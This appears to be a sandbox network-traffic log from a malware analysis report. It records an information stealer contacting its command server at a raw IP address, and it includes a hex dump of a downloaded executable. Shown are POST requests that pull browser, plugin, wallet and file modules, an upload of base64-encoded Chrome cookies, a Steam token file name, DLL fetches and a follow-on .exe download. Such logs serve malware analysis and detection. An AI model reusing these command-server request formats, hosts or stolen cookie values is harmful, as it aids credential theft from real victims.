Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:23 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 16:21:33 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "67040a8d-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8d 0a 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 71 34 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 31 38 30 39 33 39 33 42 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"3A1809393B222838420810------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"default------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKFHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="message"browsers------FHDHCAAKECFIDHIEBAKF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"plugins------EGIIIECBGDHJJKFIDAKJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="message"fplugins------JKECGDBFCBKFIDHIDHDH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 46.8.231.109Content-Length: 7691Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 2d 2d 0d 0a Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVl
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file"------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHIDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file"------AKFCBFHJDHJKECAKEHID--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"wallets------JJDBFCAEBFIJJKFHDAEC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"files------EGHCBKKKFHCGCBFIJEHD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="message"ybncbhylepme------HIDAFHDHCBGDGCBGCGII--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
